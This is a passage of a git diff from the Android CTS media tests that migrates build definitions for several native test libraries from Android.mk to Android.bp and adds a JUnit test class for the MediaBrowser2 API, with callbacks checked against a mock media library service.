+    name: "libctsimagereader_jni",
+    srcs: ["AImageReaderCts.cpp"],
+    shared_libs: [
+        "libandroid",
+        "libcamera2ndk",
+        "libmediandk",
+        "libnativewindow",
+        "liblog",
+    ],
+    cflags: [
+        "-Werror",
+        "-Wall",
+    ],
+    gtest: false,
+}
diff --git a/tests/tests/media/libimagereaderjni/Android.mk b/tests/tests/media/libimagereaderjni/Android.mk
deleted file mode 100644
index 6ce591c..0000000
--- a/tests/tests/media/libimagereaderjni/Android.mk
+++ /dev/null
@@ -1,38 +0,0 @@
-# Copyright 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-# Build the unit tests.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := libctsimagereader_jni
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_SRC_FILES := \
-    AImageReaderCts.cpp
-
-LOCAL_SHARED_LIBRARIES := \
-    libandroid \
-    libcamera2ndk \
-    libmediandk \
-    libnativewindow \
-    liblog
-
-LOCAL_CXX_STL := libc++
-
-LOCAL_CFLAGS := -Werror -Wall
-
-include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/media/libmediandkjni/Android.bp b/tests/tests/media/libmediandkjni/Android.bp
new file mode 100644
index 0000000..109a488
--- /dev/null
+++ b/tests/tests/media/libmediandkjni/Android.bp
@@ -0,0 +1,94 @@
+// Copyright (C) 2012 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+//------------------------------------------------------------------------------
+// Builds libctscodecutils_jni.so
+//
+cc_test_library {
+    name: "libctscodecutils_jni",
+    srcs: [
+        "codec-utils-jni.cpp",
+        "md5_utils.cpp",
+    ],
+    include_dirs: ["system/core/include"],
+    shared_libs: [
+        "libnativehelper_compat_libc++",
+        "liblog",
+    ],
+    sdk_version: "current",
+    cflags: [
+        "-Werror",
+        "-Wall",
+        "-DEGL_EGLEXT_PROTOTYPES",
+    ],
+    gtest: false,
+}
+
+//------------------------------------------------------------------------------
+// Builds libctsmediacodec_jni.so
+//
+cc_test_library {
+    name: "libctsmediacodec_jni",
+    srcs: [
+        "native-media-jni.cpp",
+        "native_media_utils.cpp",
+        "native_media_decoder_source.cpp",
+        "native_media_encoder_jni.cpp",
+    ],
+    include_dirs: ["system/core/include"],
+    shared_libs: [
+        "libandroid",
+        "libnativehelper_compat_libc++",
+        "liblog",
+        "libmediandk",
+        "libEGL",
+    ],
+    stl: "libc++_static",
+    cflags: [
+        "-Werror",
+        "-Wall",
+        "-DEGL_EGLEXT_PROTOTYPES",
+    ],
+    gtest: false,
+}
+
+//------------------------------------------------------------------------------
+// Builds libctsmediadrm_jni.so
+//
+cc_test_library {
+    name: "libctsmediadrm_jni",
+    srcs: [
+        "CtsMediaDrmJniOnLoad.cpp",
+        "codec-utils-jni.cpp",
+        "md5_utils.cpp",
+        "native-mediadrm-jni.cpp",
+    ],
+    include_dirs: ["system/core/include"],
+    shared_libs: [
+        "libandroid",
+        "libnativehelper_compat_libc++",
+        "liblog",
+        "libmediandk",
+        "libdl",
+        "libEGL",
+    ],
+    cflags: [
+        "-Werror",
+        "-Wall",
+        "-DEGL_EGLEXT_PROTOTYPES",
+    ],
+    stl: "libc++_static",
+    gtest: false,
+}
diff --git a/tests/tests/media/libmediandkjni/Android.mk b/tests/tests/media/libmediandkjni/Android.mk
deleted file mode 100644
index 993f177..0000000
--- a/tests/tests/media/libmediandkjni/Android.mk
+++ /dev/null
@@ -1,111 +0,0 @@
-# Copyright (C) 2012 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-LOCAL_PATH := $(call my-dir)
-
-#------------------------------------------------------------------------------
-# Builds libctscodecutils_jni.so
-#
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := libctscodecutils_jni
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_SRC_FILES := \
-  codec-utils-jni.cpp \
-  md5_utils.cpp
-
-LOCAL_C_INCLUDES := \
-  $(JNI_H_INCLUDE) \
-  system/core/include
-
-LOCAL_C_INCLUDES += $(call include-path-for, mediandk)
-
-LOCAL_SHARED_LIBRARIES := \
-  libnativehelper_compat_libc++ \
-  liblog
-
-LOCAL_SDK_VERSION := current
-
-LOCAL_NDK_STL_VARIANT := system
-
-LOCAL_CFLAGS := -Werror -Wall -DEGL_EGLEXT_PROTOTYPES
-
-include $(BUILD_SHARED_LIBRARY)
-
-#------------------------------------------------------------------------------
-# Builds libctsmediacodec_jni.so
-#
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := libctsmediacodec_jni
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_SRC_FILES := \
-  native-media-jni.cpp \
-  native_media_utils.cpp \
-  native_media_decoder_source.cpp \
-  native_media_encoder_jni.cpp
-
-LOCAL_C_INCLUDES := \
-  $(JNI_H_INCLUDE) \
-  system/core/include
-
-LOCAL_C_INCLUDES += $(call include-path-for, mediandk)
-
-LOCAL_SHARED_LIBRARIES := \
-  libandroid libnativehelper_compat_libc++ \
-  liblog libmediandk libEGL
-
-LOCAL_CXX_STL := libc++
-
-LOCAL_CFLAGS := -Werror -Wall -DEGL_EGLEXT_PROTOTYPES
-
-include $(BUILD_SHARED_LIBRARY)
-
-
-#------------------------------------------------------------------------------
-# Builds libctsmediadrm_jni.so
-#
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := libctsmediadrm_jni
-
-# Don't include this package in any configuration by default.
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_SRC_FILES := \
-  CtsMediaDrmJniOnLoad.cpp \
-  codec-utils-jni.cpp  \
-  md5_utils.cpp \
-  native-mediadrm-jni.cpp \
-
-LOCAL_C_INCLUDES := \
-  $(JNI_H_INCLUDE) \
-  system/core/include
-
-
-LOCAL_C_INCLUDES += $(call include-path-for, mediandk)
-
-LOCAL_SHARED_LIBRARIES := \
-  libandroid libnativehelper_compat_libc++ \
-  liblog libmediandk libdl libEGL
-
-LOCAL_CFLAGS := -Werror -Wall -DEGL_EGLEXT_PROTOTYPES
-
-LOCAL_CXX_STL := libc++
-
-include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/media/libndkaudio/Android.bp b/tests/tests/media/libndkaudio/Android.bp
new file mode 100644
index 0000000..2746f0d
--- /dev/null
+++ b/tests/tests/media/libndkaudio/Android.bp
@@ -0,0 +1,54 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+cc_test_library {
+    name: "libndkaudioLib",
+    include_dirs: [
+        "frameworks/wilhelm/include",
+        "frameworks/wilhelm/src/android",
+    ],
+    srcs: [
+        "OpenSLESUtils.cpp",
+        "AudioPlayer.cpp",
+        "AudioSource.cpp",
+        "PeriodicAudioSource.cpp",
+        "SystemParams.cpp",
+        "WaveTableGenerator.cpp",
+        "WaveTableOscillator.cpp",
+        "com_android_ndkaudio_AudioPlayer.cpp",
+        "AudioRecorder.cpp",
+        "com_android_ndkaudio_AudioRecorder.cpp",
+    ],
+    stl: "libc++_static",
+    shared_libs: [
+        "liblog",
+        "libOpenSLES",
+    ],
+    cflags: [
+        "-Werror",
+        "-Wall",
+    ],
+    gtest: false,
+}
+
+//
+// ndkaudio - java
+//
+java_library {
+    name: "ndkaudio",
+    srcs: ["**/*.java"],
+    sdk_version: "current",
+    min_sdk_version: "23",
+}
diff --git a/tests/tests/media/libndkaudio/Android.mk b/tests/tests/media/libndkaudio/Android.mk
deleted file mode 100644
index 9480dcd..0000000
--- a/tests/tests/media/libndkaudio/Android.mk
+++ /dev/null
@@ -1,62 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE    := libndkaudioLib
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_C_INCLUDES := \
-  frameworks/wilhelm/include \
-  frameworks/wilhelm/src/android \
-  $(call include-path-for, wilhelm)
-
-LOCAL_SRC_FILES := \
-  OpenSLESUtils.cpp \
-  AudioPlayer.cpp \
-  AudioSource.cpp \
-  PeriodicAudioSource.cpp \
-  SystemParams.cpp \
-  WaveTableGenerator.cpp \
-  WaveTableOscillator.cpp \
-  com_android_ndkaudio_AudioPlayer.cpp \
-  AudioRecorder.cpp \
-  com_android_ndkaudio_AudioRecorder.cpp
-
-LOCAL_CXX_STL := libc++
-
-LOCAL_SHARED_LIBRARIES := liblog libOpenSLES
-
-LOCAL_CFLAGS := -Werror -Wall
-
-include $(BUILD_SHARED_LIBRARY)
-
-#
-# ndkaudio - java
-#
-include $(CLEAR_VARS)
-
-LOCAL_MODULE  := ndkaudio
-
-LOCAL_SRC_FILES := $(call all-subdir-java-files)
-
-LOCAL_CERTIFICATE := platform
-
-LOCAL_SDK_VERSION := current
-LOCAL_MIN_SDK_VERSION := 23
-
-include $(BUILD_STATIC_JAVA_LIBRARY)
diff --git a/tests/tests/media/src/android/media/cts/MediaBrowser2Test.java b/tests/tests/media/src/android/media/cts/MediaBrowser2Test.java
new file mode 100644
index 0000000..9ced5b1
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MediaBrowser2Test.java
@@ -0,0 +1,672 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import static android.media.cts.MockMediaLibraryService2.EXTRAS;
+import static android.media.cts.MockMediaLibraryService2.ROOT_ID;
+
+import static junit.framework.Assert.assertEquals;
+import static junit.framework.Assert.assertFalse;
+import static junit.framework.Assert.assertNotNull;
+import static junit.framework.Assert.assertNull;
+import static junit.framework.Assert.assertTrue;
+import static junit.framework.Assert.fail;
+
+import static org.junit.Assert.assertNotEquals;
+
+import android.annotation.Nullable;
+import android.content.Context;
+import android.media.MediaBrowser2;
+import android.media.MediaBrowser2.BrowserCallback;
+import android.media.MediaController2;
+import android.media.MediaController2.ControllerCallback;
+import android.media.MediaItem2;
+import android.media.MediaLibraryService2.MediaLibrarySession;
+import android.media.MediaLibraryService2.MediaLibrarySession.MediaLibrarySessionCallback;
+import android.media.MediaMetadata2;
+import android.media.MediaSession2;
+import android.media.MediaSession2.CommandButton;
+import android.media.MediaSession2.ControllerInfo;
+import android.media.SessionCommand2;
+import android.media.SessionCommandGroup2;
+import android.media.SessionToken2;
+import android.os.Bundle;
+import android.os.Process;
+import android.os.ResultReceiver;
+
+import androidx.annotation.CallSuper;
+import androidx.annotation.NonNull;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import junit.framework.Assert;
+
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.lang.reflect.Method;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Tests {@link MediaBrowser2}.
+ * <p>
+ * This test inherits {@link MediaController2Test} to ensure that inherited APIs from
+ * {@link MediaController2} works cleanly.
+ */
+// TODO(jaewan): Implement host-side test so browser and service can run in different processes.
+@RunWith(AndroidJUnit4.class)
+@SmallTest
+@Ignore
+public class MediaBrowser2Test extends MediaController2Test {
+    private static final String TAG = "MediaBrowser2Test";
+
+    @Override
+    TestControllerInterface onCreateController(@NonNull SessionToken2 token,
+            @Nullable ControllerCallback callback) {
+        if (callback == null) {
+            callback = new BrowserCallback() {};
+        }
+        return new TestMediaBrowser(mContext, token, new TestBrowserCallback(callback));
+    }
+
+    /**
+     * Test if the {@link TestBrowserCallback} wraps the callback proxy without missing any method.
+     */
+    @Test
+    public void testTestBrowserCallback() {
+        Method[] methods = TestBrowserCallback.class.getMethods();
+        assertNotNull(methods);
+        for (int i = 0; i < methods.length; i++) {
+            // For any methods in the controller callback, TestControllerCallback should have
+            // overriden the method and call matching API in the callback proxy.
+            assertNotEquals("TestBrowserCallback should override " + methods[i]
+                            + " and call callback proxy",
+                    BrowserCallback.class, methods[i].getDeclaringClass());
+        }
+    }
+
+    @Test
+    public void testGetLibraryRoot() throws InterruptedException {
+        final Bundle param = new Bundle();
+        param.putString(TAG, TAG);
+
+        final CountDownLatch latch = new CountDownLatch(1);
+        final BrowserCallback callback = new BrowserCallback() {
+            @Override
+            public void onGetLibraryRootDone(MediaBrowser2 browser,
+                    Bundle rootHints, String rootMediaId, Bundle rootExtra) {
+                assertTrue(TestUtils.equals(param, rootHints));
+                assertEquals(ROOT_ID, rootMediaId);
+                assertTrue(TestUtils.equals(EXTRAS, rootExtra));
+                latch.countDown();
+            }
+        };
+
+        final SessionToken2 token = MockMediaLibraryService2.getToken(mContext);
+        MediaBrowser2 browser =
+                (MediaBrowser2) createController(token,true, callback);
+        browser.getLibraryRoot(param);
+        assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+    }
+
+    @Test
+    public void testGetItem() throws InterruptedException {
+        final String mediaId = MockMediaLibraryService2.MEDIA_ID_GET_ITEM;
+
+        final CountDownLatch latch = new CountDownLatch(1);
+        final BrowserCallback callback = new BrowserCallback() {
+            @Override
+            public void onGetItemDone(MediaBrowser2 browser, String mediaIdOut, MediaItem2 result) {
+                assertEquals(mediaId, mediaIdOut);
+                assertNotNull(result);
+                assertEquals(mediaId, result.getMediaId());
+                latch.countDown();
+            }
+        };
+
+        final SessionToken2 token = MockMediaLibraryService2.getToken(mContext);
+        MediaBrowser2 browser = (MediaBrowser2) createController(token, true, callback);
+        browser.getItem(mediaId);
+        assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+    }
+
+    @Test
+    public void testGetItemNullResult() throws InterruptedException {
+        final String mediaId = "random_media_id";
+
+        final CountDownLatch latch = new CountDownLatch(1);
+        final BrowserCallback callback = new BrowserCallback() {
+            @Override
+            public void onGetItemDone(MediaBrowser2 browser, String mediaIdOut, MediaItem2 result) {
+                assertEquals(mediaId, mediaIdOut);
+                assertNull(result);
+                latch.countDown();
+            }
+        };
+
+        final SessionToken2 token = MockMediaLibraryService2.getToken(mContext);
+        MediaBrowser2 browser = (MediaBrowser2) createController(token, true, callback);
+        browser.getItem(mediaId);
+        assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+    }
+
+    @Test
+    public void testGetChildren() throws InterruptedException {
+        final String parentId = MockMediaLibraryService2.PARENT_ID;
+        final int page = 4;
+        final int pageSize = 10;
+        final Bundle extras = new Bundle();
+        extras.putString(TAG, TAG);
+
+        final CountDownLatch latch = new CountDownLatch(1);
+        final BrowserCallback callback = new BrowserCallback() {
+            @Override
+            public void onGetChildrenDone(MediaBrowser2 browser, String parentIdOut, int pageOut,
+                    int pageSizeOut, List<MediaItem2> result, Bundle extrasOut) {
+                assertEquals(parentId, parentIdOut);
+                assertEquals(page, pageOut);
+                assertEquals(pageSize, pageSizeOut);
+                assertTrue(TestUtils.equals(extras, extrasOut));
+                assertNotNull(result);
+
+                int fromIndex = (page - 1) * pageSize;
+                int toIndex = Math.min(page * pageSize, MockMediaLibraryService2.CHILDREN_COUNT);
+
+                // Compare the given results with originals.
+                for (int originalIndex = fromIndex; originalIndex < toIndex; originalIndex++) {
+                    int relativeIndex = originalIndex - fromIndex;
+                    Assert.assertEquals(
+                            MockMediaLibraryService2.GET_CHILDREN_RESULT.get(originalIndex)
+                                    .getMediaId(),
+                            result.get(relativeIndex).getMediaId());
+                }
+                latch.countDown();
+            }
+        };
+
+        final SessionToken2 token = MockMediaLibraryService2.getToken(mContext);
+        MediaBrowser2 browser = (MediaBrowser2) createController(token, true, callback);
+        browser.getChildren(parentId, page, pageSize, extras);
+        assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+    }
+
+    @Test
+    public void testGetChildrenEmptyResult() throws InterruptedException {
+        final String parentId = MockMediaLibraryService2.PARENT_ID_NO_CHILDREN;
+
+        final CountDownLatch latch = new CountDownLatch(1);
+        final BrowserCallback callback = new BrowserCallback() {
+            @Override
+            public void onGetChildrenDone(MediaBrowser2 browser, String parentIdOut,
+                    int pageOut, int pageSizeOut, List<MediaItem2> result, Bundle extrasOut) {
+                assertNotNull(result);
+                assertEquals(0, result.size());
+                latch.countDown();
+            }
+        };
+
+        final SessionToken2 token = MockMediaLibraryService2.getToken(mContext);
+        MediaBrowser2 browser = (MediaBrowser2) createController(token, true, callback);
+        browser.getChildren(parentId, 1, 1, null);
+        assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+    }
+
+    @Test
+    public void testGetChildrenNullResult() throws InterruptedException {
+        final String parentId = MockMediaLibraryService2.PARENT_ID_ERROR;
+
+        final CountDownLatch latch = new CountDownLatch(1);
+        final BrowserCallback callback = new BrowserCallback() {
+            @Override
+            public void onGetChildrenDone(MediaBrowser2 browser, String parentIdOut,
+                    int pageOut, int pageSizeOut, List<MediaItem2> result, Bundle extrasOut) {
+                assertNull(result);
+                latch.countDown();
+            }
+        };
+
+        final SessionToken2 token = MockMediaLibraryService2.getToken(mContext);
+        MediaBrowser2 browser = (MediaBrowser2) createController(token, true, callback);
+        browser.getChildren(parentId, 1, 1, null);
+        assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+    }
+
+    @Ignore
+    @Test
+    public void testSearch() throws InterruptedException {
+        final String query = MockMediaLibraryService2.SEARCH_QUERY;
+        final int page = 4;
+        final int pageSize = 10;
+        final Bundle extras = new Bundle();
+        extras.putString(TAG, TAG);
+
+        final CountDownLatch latchForSearch = new CountDownLatch(1);
+        final CountDownLatch latchForGetSearchResult = new CountDownLatch(1);
+        final BrowserCallback callback = new BrowserCallback() {
+            @Override
+            public void onSearchResultChanged(MediaBrowser2 browser,
+                    String queryOut, int itemCount, Bundle extrasOut) {
+                assertEquals(query, queryOut);
+                assertTrue(TestUtils.equals(extras, extrasOut));
+                assertEquals(MockMediaLibraryService2.SEARCH_RESULT_COUNT, itemCount);
+                latchForSearch.countDown();
+            }
+
+            @Override
+            public void onGetSearchResultDone(MediaBrowser2 browser, String queryOut,
+                    int pageOut, int pageSizeOut, List<MediaItem2> result, Bundle extrasOut) {
+                assertEquals(query, queryOut);
+                assertEquals(page, pageOut);
+                assertEquals(pageSize, pageSizeOut);
+                assertTrue(TestUtils.equals(extras, extrasOut));
+                assertNotNull(result);
+
+                int fromIndex = (page - 1) * pageSize;
+                int toIndex = Math.min(
+                        page * pageSize, MockMediaLibraryService2.SEARCH_RESULT_COUNT);
+
+                // Compare the given results with originals.
+                for (int originalIndex = fromIndex; originalIndex < toIndex; originalIndex++) {
+                    int relativeIndex = originalIndex - fromIndex;
+                    Assert.assertEquals(
+                            MockMediaLibraryService2.SEARCH_RESULT.get(originalIndex).getMediaId(),
+                            result.get(relativeIndex).getMediaId());
+                }
+                latchForGetSearchResult.countDown();
+            }
+        };
+
+        // Request the search.
+        final SessionToken2 token = MockMediaLibraryService2.getToken(mContext);
+        MediaBrowser2 browser = (MediaBrowser2) createController(token, true, callback);
+        browser.search(query, extras);
+        assertTrue(latchForSearch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+
+        // Get the search result.
+        browser.getSearchResult(query, page, pageSize, extras);
+        assertTrue(latchForGetSearchResult.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+    }
+
+    @Test
+    public void testSearchTakesTime() throws InterruptedException {
+        final String query = MockMediaLibraryService2.SEARCH_QUERY_TAKES_TIME;
+        final Bundle extras = new Bundle();
+        extras.putString(TAG, TAG);
+
+        final CountDownLatch latch = new CountDownLatch(1);
+        final BrowserCallback callback = new BrowserCallback() {
+            @Override
+            public void onSearchResultChanged(
+                    MediaBrowser2 browser, String queryOut, int itemCount, Bundle extrasOut) {
+                assertEquals(query, queryOut);
+                assertTrue(TestUtils.equals(extras, extrasOut));
+                assertEquals(MockMediaLibraryService2.SEARCH_RESULT_COUNT, itemCount);
+                latch.countDown();
+            }
+        };
+
+        final SessionToken2 token = MockMediaLibraryService2.getToken(mContext);
+        MediaBrowser2 browser = (MediaBrowser2) createController(token, true, callback);
+        browser.search(query, extras);
+        assertTrue(latch.await(
+                MockMediaLibraryService2.SEARCH_TIME_IN_MS + WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+    }
+
+    @Test
+    public void testSearchEmptyResult() throws InterruptedException {
+        final String query = MockMediaLibraryService2.SEARCH_QUERY_EMPTY_RESULT;
+        final Bundle extras = new Bundle();
+        extras.putString(TAG, TAG);
+
+        final CountDownLatch latch = new CountDownLatch(1);
+        final BrowserCallback callback = new BrowserCallback() {
+            @Override
+            public void onSearchResultChanged(
+                    MediaBrowser2 browser, String queryOut, int itemCount, Bundle extrasOut) {
+                assertEquals(query, queryOut);
+                assertTrue(TestUtils.equals(extras, extrasOut));
+                assertEquals(0, itemCount);
+                latch.countDown();
+            }
+        };
+
+        final SessionToken2 token = MockMediaLibraryService2.getToken(mContext);
+        MediaBrowser2 browser = (MediaBrowser2) createController(token, true, callback);
+        browser.search(query, extras);
+        assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+    }
+
+    @Test
+    public void testSubscribe() throws InterruptedException {
+        final String testParentId = "testSubscribeId";
+        final Bundle testExtras = new Bundle();
+        testExtras.putString(testParentId, testParentId);
+
+        final CountDownLatch latch = new CountDownLatch(1);
+        final MediaLibrarySessionCallback callback = new MediaLibrarySessionCallback() {
+            @Override
+            public void onSubscribe(@NonNull MediaLibrarySession session,
+                    @NonNull ControllerInfo info, @NonNull String parentId,
+                    @Nullable Bundle extras) {
+                if (Process.myUid() == info.getUid()) {
+                    assertEquals(testParentId, parentId);
+                    assertTrue(TestUtils.equals(testExtras, extras));
+                    latch.countDown();
+                }
+            }
+        };
+        TestServiceRegistry.getInstance().setSessionCallback(callback);
+        final SessionToken2 token = MockMediaLibraryService2.getToken(mContext);
+        MediaBrowser2 browser = (MediaBrowser2) createController(token);
+        browser.subscribe(testParentId, testExtras);
+        assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+    }
+
+    @Ignore
+    @Test
+    public void testUnsubscribe() throws InterruptedException {
+        final String testParentId = "testUnsubscribeId";
+        final CountDownLatch latch = new CountDownLatch(1);
+        final MediaLibrarySessionCallback callback = new MediaLibrarySessionCallback() {
+            @Override
+            public void onUnsubscribe(@NonNull MediaLibrarySession session,
+                    @NonNull ControllerInfo info, @NonNull String parentId) {
+                if (Process.myUid() == info.getUid()) {
+                    assertEquals(testParentId, parentId);
+                    latch.countDown();
+                }
+            }
+        };
+        TestServiceRegistry.getInstance().setSessionCallback(callback);
+        final SessionToken2 token = MockMediaLibraryService2.getToken(mContext);
+        MediaBrowser2 browser = (MediaBrowser2) createController(token);
+        browser.unsubscribe(testParentId);
+        assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+    }
+
+    @Test
+    public void testBrowserCallback_notifyChildrenChanged() throws InterruptedException {
+        // TODO(jaewan): Add test for the notifyChildrenChanged itself.
+        final String testParentId1 = "testBrowserCallback_notifyChildrenChanged_unexpectedParent";
+        final String testParentId2 = "testBrowserCallback_notifyChildrenChanged";
+        final int testChildrenCount = 101;
+        final Bundle testExtras = new Bundle();
+        testExtras.putString(testParentId1, testParentId1);
+
+        final CountDownLatch latch = new CountDownLatch(3);
+        final MediaLibrarySessionCallback sessionCallback =
+                new MediaLibrarySessionCallback() {
+                    @Override
+                    public SessionCommandGroup2 onConnect(@NonNull MediaSession2 session,
+                            @NonNull ControllerInfo controller) {
+                        if (Process.myUid() == controller.getUid()) {
+                            assertTrue(session instanceof MediaLibrarySession);
+                            if (mSession != null) {
+                                mSession.close();
+                            }
+                            mSession = session;
+                            // Shouldn't trigger onChildrenChanged() for the browser, because it
+                            // hasn't subscribed.
+                            ((MediaLibrarySession) session).notifyChildrenChanged(
+                                    testParentId1, testChildrenCount, null);
+                            ((MediaLibrarySession) session).notifyChildrenChanged(
+                                    controller, testParentId1, testChildrenCount, null);
+                        }
+                        return super.onConnect(session, controller);
+                    }
+
+                    @Override
+                    public void onSubscribe(@NonNull MediaLibrarySession session,
+                            @NonNull ControllerInfo info, @NonNull String parentId,
+                            @Nullable Bundle extras) {
+                        if (Process.myUid() == info.getUid()) {
+                            session.notifyChildrenChanged(testParentId2, testChildrenCount, null);
+                            session.notifyChildrenChanged(info, testParentId2, testChildrenCount,
+                                    testExtras);
+                        }
+                    }
+        };
+        final BrowserCallback controllerCallbackProxy =
+                new BrowserCallback() {
+                    @Override
+                    public void onChildrenChanged(MediaBrowser2 browser, String parentId,
+                            int itemCount, Bundle extras) {
+                        switch ((int) latch.getCount()) {
+                            case 3:
+                                assertEquals(testParentId2, parentId);
+                                assertEquals(testChildrenCount, itemCount);
+                                assertNull(extras);
+                                latch.countDown();
+                                break;
+                            case 2:
+                                assertEquals(testParentId2, parentId);
+                                assertEquals(testChildrenCount, itemCount);
+                                assertTrue(TestUtils.equals(testExtras, extras));
+                                latch.countDown();
+                                break;
+                            default:
+                                // Unexpected call.
+                                fail();
+                        }
+                    }
+                };
+        TestServiceRegistry.getInstance().setSessionCallback(sessionCallback);
+        final SessionToken2 token = MockMediaLibraryService2.getToken(mContext);
+        final MediaBrowser2 browser = (MediaBrowser2) createController(
+                token, true, controllerCallbackProxy);
+        assertTrue(mSession instanceof MediaLibrarySession);
+        browser.subscribe(testParentId2, null);
+        // This ensures that onChildrenChanged() is only called for the expected reasons.
+        assertFalse(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+    }
+
+    public static class TestBrowserCallback extends BrowserCallback
+            implements WaitForConnectionInterface {
+        private final ControllerCallback mCallbackProxy;
+        public final CountDownLatch connectLatch = new CountDownLatch(1);
+        public final CountDownLatch disconnectLatch = new CountDownLatch(1);
+
+        TestBrowserCallback(ControllerCallback callbackProxy) {
+            if (callbackProxy == null) {
+                throw new IllegalArgumentException("Callback proxy shouldn't be null. Test bug");
+            }
+            mCallbackProxy = callbackProxy;
+        }
+
+        @CallSuper
+        @Override
+        public void onConnected(MediaController2 controller, SessionCommandGroup2 commands) {
+            connectLatch.countDown();
+        }
+
+        @CallSuper
+        @Override
+        public void onDisconnected(MediaController2 controller) {
+            disconnectLatch.countDown();
+        }
+
+        @Override
+        public void waitForConnect(boolean expect) throws InterruptedException {
+            if (expect) {
+                assertTrue(connectLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+            } else {
+                assertFalse(connectLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+            }
+        }
+
+        @Override
+        public void waitForDisconnect(boolean expect) throws InterruptedException {
+            if (expect) {
+                assertTrue(disconnectLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+            } else {
+                assertFalse(disconnectLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+            }
+        }
+
+        @Override
+        public void onPlaybackInfoChanged(MediaController2 controller,
+                MediaController2.PlaybackInfo info) {
+            mCallbackProxy.onPlaybackInfoChanged(controller, info);
+        }
+
+        @Override
+        public void onCustomCommand(MediaController2 controller, SessionCommand2 command,
+                Bundle args, ResultReceiver receiver) {
+            mCallbackProxy.onCustomCommand(controller, command, args, receiver);
+        }
+
+        @Override
+        public void onCustomLayoutChanged(MediaController2 controller, List<CommandButton> layout) {
+            mCallbackProxy.onCustomLayoutChanged(controller, layout);
+        }
+
+        @Override
+        public void onAllowedCommandsChanged(MediaController2 controller,
+                SessionCommandGroup2 commands) {
+            mCallbackProxy.onAllowedCommandsChanged(controller, commands);
+        }
+
